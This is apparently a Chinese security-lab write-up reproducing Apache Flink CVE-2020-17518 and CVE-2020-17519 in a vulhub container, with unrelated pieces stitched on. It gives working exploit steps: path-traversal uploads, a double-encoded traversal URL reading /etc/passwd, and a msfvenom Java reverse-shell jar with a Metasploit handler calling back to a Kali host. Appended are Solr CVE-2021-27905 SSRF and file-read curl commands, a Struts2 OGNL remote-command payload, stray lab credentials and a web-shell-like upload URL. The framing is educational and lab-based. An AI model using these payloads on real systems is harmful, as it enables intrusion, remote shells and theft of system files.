普通用户账号密码：root/passwd
管理员账号密码：admin/pikachu

http://tp5.lab2.aqlab.cn:81/dede/uploads/PHP.PHP

简介

Apache Flink 是高效和分布式的通用数据处理平台，由 Apache 软件基金会开发的开源流处理框架，其核心是用 Java 和 Scala 编写的分布式流数据流引擎（简单来说，就是跟 spark 类似）。Flink 具有监控 API，可用于查询 "正在运行的 jobs" 和 "最近完成的 jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的 dashboard，同时也可用于自定义监控工具，默认监听在 8081 端口。

本文涉及知识点实操练习：网络安全事件 （“网络安全事件” 这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件，而且还会紧跟时事，去添加最新的安全事件。让大家在第一时间了解，并懂得怎么去保护自身安全为目的。）

该监控 API 是 REST-ful API, 即接受 HTTP 请求，并响应 JSON 格式的数据。

监控 API 中有一个 API 是 /jars/upload，其作用是将一个 jar 上传到集群。该 jar 必须作为多部分数据发送。确保 “Content-Type” 标头设置为 “ application /x-java-archive”，因为某些 http 库默认情况下不添加标头。可以通过 curl 上传 jar 文件

''curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" <" rel="nofollow">http://hostname:port/jars/upload>;''

概述

Flink 1.5.1 引入了 REST API，但其实现上存在多处缺陷，导致任意文件读取（CVE-2020-17519）和任意文件写入（CVE-2020-17518）漏洞。

CVE-2020-17518*** 者利用 REST API，可以修改 HTTP 头，将上传的文件写入到本地文件系统上的任意位置（Flink 1.5.1 进程能访问到的）。

CVE-2020-17519Apache Flink 1.11.0 允许 *** 者通过 JobManager 进程的 REST API 读取 JobManager 本地文件系统上的任何文件（JobManager 进程能访问到的）。

影响版本

CVE-2020-17518

Apache:Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

环境搭建

因为受到两个漏洞影响的版本都包含了 1.11.2，所以统一使用这个版本进行复现

此处利用 vulhub 的环境进行复现，新建 docker-compose.yml

version: ''2''

services:

flink:

image: vulhub/flink:1.11.2

command: jobmanager

ports:

​ - "8081:8081"

​ - "6123:6123"

使用 docker-compose 启动该环境，执行以下命令会下载镜像并以此镜像启动一个容器，映射的端口为 8081 和 6123

docker-compose up -d

访问 http://ip:8081

漏洞复现

任意文件上传（CVE-2020-17518）复现：

Apache Flink 1.5.1 引入了 REST 处理程序，该处理程序允许通过经过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。

访问 http://ip:8081，找到 Submit New Job 的 Add New 上传一个 jar 包，jar 包可以在桌面新建一个压缩文件，将 zip 后缀修改为 jar 即可，然后抓包

抓到的请求包如下：

将请求包发送到 repeater 模块进行修改，比如我这里是在 /tmp 目录下新建一个文件，../ 是为了方便切换路径，因为我们不知到当前的路径是什么，所以可以使用../ 切换到根目录。

查看文件是否上传成功

docker ps 查看容器

进入容器

docker exec -it CONTAINER ID /bin/bash

可以看到文件成功上传

flink 本身是没有鉴权的，并且它本身支持任意 jar 包上传并执行，所以可以通过上传 jar 包 getshell

生成 jar 格式的马

lhost 为 kali 的 ip，lport 为 kali 接收 shell 的端口

msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar

启动 msf 接收 shell

msfconsole

use exploit/multi/handler

set payload java/shell_reverse_tcp

set LHOST 192.168.74.142

set LPORT 1234

exploit

将 jar 包上传后点击上传的包然后 Submit

获取到 shell

任意文件读取（CVE-2020-17519）复现：

Apache Flink 1.11.0 中引入的更改（以及 1.11.1 和 1.11.2 中也发布）允许 *** 者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。访问仅限于 JobManager 进程可访问的文件。

比如我这里读取 /etc/ 下的 passwd 文件，%252f 为 / 的两次 url 编码

<http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd>;

漏洞修复

官方已发布安全版本，请及时下载升级至安全版本。

<https://flink.apache.org/zh/downloads.html>;

参考链接

<https://github.com/vulhub/vulhub/tree/master/flink>;

<https://www.anquanke.com/post/id/227668>;

$ docker search vulfocus/solr-cve_2021_27905
NAME                           DESCRIPTION   STARS     OFFICIAL   AUTOMATED
vulfocus/solr-cve_2021_27905                 0                    

$ docker pull vulfocus/solr-cve_2021_27905

$ docker create -p 5000:8983 --name cve_2021_27905 0890d82aadb5

$ docker start cve_2021_27905

$ cp -r /opt/solr-8.2.0/server/solr/configsets/_default/conf /var/solr/data/new_core

http://localhost:5000/solr/admin/cores?indexInfo=false&wt=json

$ nclvp 6666

http://localhost:5000/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.3.137:6666

$ curl "http://localhost:5000/solr/new_core/replication?command=fetchindex&masterUrl=http://192.168.3.137:6666"

http://localhost:5000/solr/new_core/config

$ curl -i -s -k -X ''POST'' -H ''Content-Type: application/json'' --data-binary ''{"set-property":{"requestdispatcher.requestParsers.enableRemoteStreaming":true}}'' http://192.168.3.137:5000/solr/new_core/config

$ curl -i -s -k ''http://192.168.3.137:5000/solr/new_core/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd''

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[''com.opensymphony.xwork2.ActionContext.container'']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=''id'').(#iswin=(@java.lang.System@getProperty(''os.name'').toLowerCase().contains(''win''))).(#cmds=(#iswin?{''cmd.exe'',''/c'',#cmd}:{''/bin/bash'',''-c'',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注: 执行命令的地方在于(#cmd=’id’)